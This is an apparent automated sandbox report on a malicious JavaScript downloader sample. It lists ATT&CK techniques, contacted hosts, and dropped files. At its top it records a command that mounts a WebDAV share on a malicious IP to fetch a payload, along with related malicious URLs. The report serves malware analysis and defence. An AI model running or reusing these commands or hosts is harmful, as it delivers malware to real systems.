Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
525931685256721403.js	3%	Virustotal		Browse
525931685256721403.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/spaceX	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/O	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/#	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/r	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/spaceX	net.exe, 0000000D.00000002.1347659629.00000174075E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000000F.00000002.2574228917.000001DBE70D4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000003.1340409710.000001740760B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1340075275.000001740762A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1352660121.000001740762C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1351281154.000001740760B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1347659629.00000174075E0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/a	net.exe, 0000000D.00000002.1347659629.00000174075E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/r	net.exe, 0000000D.00000003.1340409710.000001740760B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1351281154.000001740760B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/#	net.exe, 0000000D.00000003.1340409710.000001740760B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1351281154.000001740760B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 0000000F.00000003.1343102729.000001DBEC800000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://193.143.1.205:8888/O	net.exe, 0000000D.00000003.1340409710.000001740760B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1351281154.000001740760B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588390
Start date and time:	2025-01-11 01:46:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	525931685256721403.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 18.213.11.84, 34.237.241.83, 50.16.47.176, 54.224.241.105, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.6.155.20, 20.12.23.50, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:47:39	API Interceptor	24x Sleep call for process: powershell.exe modified
19:47:44	API Interceptor	1x Sleep call for process: net.exe modified
19:47:44	API Interceptor	2x Sleep call for process: svchost.exe modified
19:47:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27374120242908411416.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7772104212868830459.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807367197389475
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG94:0J7adfWuK0p/QDfKoPeuP0aN4fqoxn
MD5:	176FFEC82DCC479E28046D4AD30A5AF3
SHA1:	6B33755445C854EC02F2267DBDB3067B46796FB4
SHA-256:	A2368D16BF9ACD41C5D8D479C45819275FCE8EB5EBD3A77CCA060115A649C01B
SHA-512:	EB55AEB91D3073159AA187BA9725C713720672E5573B02EA2CF1804F882FF684C1B29170234E1045A9A9DC4797D65003FBD05370B5C929449E735C308B5C91BA
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x71f8e126, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7879909096299399
Encrypted:	false
SSDEEP:	1536:PSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:PazaPv4V4fXq2UaB
MD5:	EC99313851CC726A0361F4AF1540275B
SHA1:	31D5B2D6417EE4B31182E3C65B0B2F7FD5FF0E17
SHA-256:	95E1DF1B541EA9EF6792568445C36B3B92EE33FC2631D2450D7A62467309CD47
SHA-512:	E94D8E67162AB86B94C03542855AB04DCDAD69556F8DE966910F4BC611AF6B0B1EAE21FAD1B24B4E6791662822FC6AF820F9C7EDF06CC25745C3C93B61D24D75
Malicious:	false
Preview:	q..&... ...............X\...;...{......................X............{..,/...}g.h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................;xA.,/...}.8.................pX.,/...}g..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.079898328557144
Encrypted:	false
SSDEEP:	3:Tm//EYe+CYCj28XlVG0+q2Iqe8lwK0kj//llollNTt/4ll/Q6beV/:6/EzD6SGE8lcKAHtc6V
MD5:	E3D9A175897E65F461FCB6F0C442E7B9
SHA1:	2BDB6D111CE1852386674E091417CDAF134F601C
SHA-256:	36467E0A7E9339E539EAFBE7A2DE04A9713362F15A29BBFF99409A02C3B8BB3C
SHA-512:	5E806EACAC70EB30DE44CE83101883A696C884B74218480AB21F59B82A9DB2A3D3C58B92C4E52F2433A8F2D8E58D77AD79F3A8E179DEB6D27DBCE7FD305D40DB
Malicious:	false
Preview:	...i.....................................;...{..,/...}g......{...............{.......{....:......{..................pX.,/...}g.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.240067150791875
Encrypted:	false
SSDEEP:	6:iO4H5HN+q2PFi2nKuAl9OmbnIFUtSH5/gdXZmwsH5xVkwOFi2nKuAl9OmbjLJ:7QCvdZHAahFUtiu5/cN5wZHAaSJ
MD5:	0A4AE6AC60E7AF12438FA7268F3735CD
SHA1:	9590B29C075304CE7FCB12B6759392B531D0B498
SHA-256:	C6DA19FC99EFA28097CD83ACCB31042413B724D2A9F1C117C8CBC2328779B795
SHA-512:	5E791DB3E127A10997E80A4414B66DB904BBDD9854A8ECA14A41E1C145ACDAF2D44BE601706A1E76BC845431BEBA976F80E89BB837A88E74FEDF1F58B9AD836A
Malicious:	false
Preview:	2025/01/10-19:47:44.294 1718 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:47:44.297 1718 Recovering log #3.2025/01/10-19:47:44.298 1718 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.240067150791875
Encrypted:	false
SSDEEP:	6:iO4H5HN+q2PFi2nKuAl9OmbnIFUtSH5/gdXZmwsH5xVkwOFi2nKuAl9OmbjLJ:7QCvdZHAahFUtiu5/cN5wZHAaSJ
MD5:	0A4AE6AC60E7AF12438FA7268F3735CD
SHA1:	9590B29C075304CE7FCB12B6759392B531D0B498
SHA-256:	C6DA19FC99EFA28097CD83ACCB31042413B724D2A9F1C117C8CBC2328779B795
SHA-512:	5E791DB3E127A10997E80A4414B66DB904BBDD9854A8ECA14A41E1C145ACDAF2D44BE601706A1E76BC845431BEBA976F80E89BB837A88E74FEDF1F58B9AD836A
Malicious:	false
Preview:	2025/01/10-19:47:44.294 1718 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:47:44.297 1718 Recovering log #3.2025/01/10-19:47:44.298 1718 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.167417833211657
Encrypted:	false
SSDEEP:	6:iO4H5m1yq2PFi2nKuAl9Ombzo2jMGIFUtSH5eiNj1ZmwsH5ef1RkwOFi2nKuAl97:7QKyvdZHAa8uFUti8C/c8NR5wZHAa8RJ
MD5:	62C0E9895071F3AD907B11A03EA8D5FC
SHA1:	0AC00DC077931158C84E68438AB8104FE0AD803C
SHA-256:	F33BCB2E311328F3CEF60B363616F30FE0C0AF32FF6DED12D2E076D28AE29DD9
SHA-512:	D77A09731BACD14BE3461D88A37611B45A9D4FF7B7B4A96F4F6B2C45E979BC439D9DCB21AF8A644681E9B8919FAD3A0DCF648CE5E90CC9D2DB8682BCDE1231E9
Malicious:	false
Preview:	2025/01/10-19:47:44.318 2010 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:47:44.320 2010 Recovering log #3.2025/01/10-19:47:44.321 2010 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.167417833211657
Encrypted:	false
SSDEEP:	6:iO4H5m1yq2PFi2nKuAl9Ombzo2jMGIFUtSH5eiNj1ZmwsH5ef1RkwOFi2nKuAl97:7QKyvdZHAa8uFUti8C/c8NR5wZHAa8RJ
MD5:	62C0E9895071F3AD907B11A03EA8D5FC
SHA1:	0AC00DC077931158C84E68438AB8104FE0AD803C
SHA-256:	F33BCB2E311328F3CEF60B363616F30FE0C0AF32FF6DED12D2E076D28AE29DD9
SHA-512:	D77A09731BACD14BE3461D88A37611B45A9D4FF7B7B4A96F4F6B2C45E979BC439D9DCB21AF8A644681E9B8919FAD3A0DCF648CE5E90CC9D2DB8682BCDE1231E9
Malicious:	false
Preview:	2025/01/10-19:47:44.318 2010 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:47:44.320 2010 Recovering log #3.2025/01/10-19:47:44.321 2010 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.973031245516583
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqP0UhsBdOg2HkAcaq3QYiubpP7E4T3y:Y2sRdsCFydMHQ3QYhbd7nby
MD5:	ACC91D056BD99632AA8D80E44F24885B
SHA1:	EFAA2B285F4D8007F6F026CF9546C1BB2B6C426B
SHA-256:	2B0089B08173DEF91F768B8338F8D92DA51538FE59ADB0D38139E4F1F6146738
SHA-512:	79D40654BE41427D3D4F19215903BB67B34C1DC8484EEBECEBC8153EE65AA577DA60F214A9F1AB7E4C3C74A9820F81910A8B96283FFA4ECF90382F804DE90C63
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116475556876","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124589},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\be44873f-7577-420b-b8ab-c39fda3bb52c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.973031245516583
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqP0UhsBdOg2HkAcaq3QYiubpP7E4T3y:Y2sRdsCFydMHQ3QYhbd7nby
MD5:	ACC91D056BD99632AA8D80E44F24885B
SHA1:	EFAA2B285F4D8007F6F026CF9546C1BB2B6C426B
SHA-256:	2B0089B08173DEF91F768B8338F8D92DA51538FE59ADB0D38139E4F1F6146738
SHA-512:	79D40654BE41427D3D4F19215903BB67B34C1DC8484EEBECEBC8153EE65AA577DA60F214A9F1AB7E4C3C74A9820F81910A8B96283FFA4ECF90382F804DE90C63
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116475556876","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124589},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232711039502899
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVh6QO:wshFT0h7cZb2EVKZPEANcGIK5EVh6QO
MD5:	C3605387092BD9BD8A2310FC3A543A80
SHA1:	8B9BC29EF417462E4AAD0D18661E7DF39C975E90
SHA-256:	D9C143EC03E7E63C16177209C539CD921A51A24322D78552BD58269EDCF19894
SHA-512:	070E4B32CE6697EA25B8AFF8E30722B0F74BD7BE318C80F5CB0470714C3CE6B320D730942EE3F25624607FBA898745695E6A2997BC1EEED78D0C2B8AD1C1B630
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.215352489841709
Encrypted:	false
SSDEEP:	6:iO4H5av1yq2PFi2nKuAl9OmbzNMxIFUtSH5SSUvj1ZmwsH5Xe1RkwOFi2nKuAl9c:7QoyvdZHAa8jFUtioz/c94R5wZHAa84J
MD5:	2819441FCA94CCF922BBC54C4D0AAB41
SHA1:	7217F699523FAA2BAF2F19C44C8B5E60E0497B9E
SHA-256:	7774F8159346B4CAAD27299CE45A278D37DCF83E99D9E1209217EE7D8D948B3C
SHA-512:	E3259E6130019B7129A350273B713BEF0AB6215DF9CCBCAC9C45093E0A3BD2B2A16AFF942DF8C83B35CDB8D94F57FBB9C64A2ADF764CBF30A30F223885272AFB
Malicious:	false
Preview:	2025/01/10-19:47:44.688 2010 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:47:44.727 2010 Recovering log #3.2025/01/10-19:47:44.758 2010 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.215352489841709
Encrypted:	false
SSDEEP:	6:iO4H5av1yq2PFi2nKuAl9OmbzNMxIFUtSH5SSUvj1ZmwsH5Xe1RkwOFi2nKuAl9c:7QoyvdZHAa8jFUtioz/c94R5wZHAa84J
MD5:	2819441FCA94CCF922BBC54C4D0AAB41
SHA1:	7217F699523FAA2BAF2F19C44C8B5E60E0497B9E
SHA-256:	7774F8159346B4CAAD27299CE45A278D37DCF83E99D9E1209217EE7D8D948B3C
SHA-512:	E3259E6130019B7129A350273B713BEF0AB6215DF9CCBCAC9C45093E0A3BD2B2A16AFF942DF8C83B35CDB8D94F57FBB9C64A2ADF764CBF30A30F223885272AFB
Malicious:	false
Preview:	2025/01/10-19:47:44.688 2010 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:47:44.727 2010 Recovering log #3.2025/01/10-19:47:44.758 2010 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438793758571337
Encrypted:	false
SSDEEP:	384:yejci5GaiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:06urVgazUpUTTGt
MD5:	22BDC42D34B2B04FD2C112FA1CD38FE4
SHA1:	DCB1F9DA3440BB4C7BA0FF86AE3ABF4BEF11DA7E
SHA-256:	E39F071CCDD0C6AA911C05525666DBD36C94568ED0FF69B45D837FB39D2E4002
SHA-512:	41B46BAE10384D42F0BABEB3155FD213D076350E298B0764C65B3C73EC6D800EF4F6DD52F595A1C39FA7C68EE5810EBA7FF4AEF44C3603C98C269C0B9B0F9F7F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7767017409967063
Encrypted:	false
SSDEEP:	48:7MGp/E2ioyVrioy5oWoy1CUoy1LKOioy1noy1AYoy1Wioy1hioybioyjoy1noy19:79pjurJaXKQaAb9IVXEBodRBks
MD5:	A51185B08184DCC3BB16994012A56CCB
SHA1:	BC664ABF379803A1C226FD890016F720C4DA7AEC
SHA-256:	BFFA437A94C3B22AF7B016938F6ADD07BBADE85729610762F2B8D1F45C449422
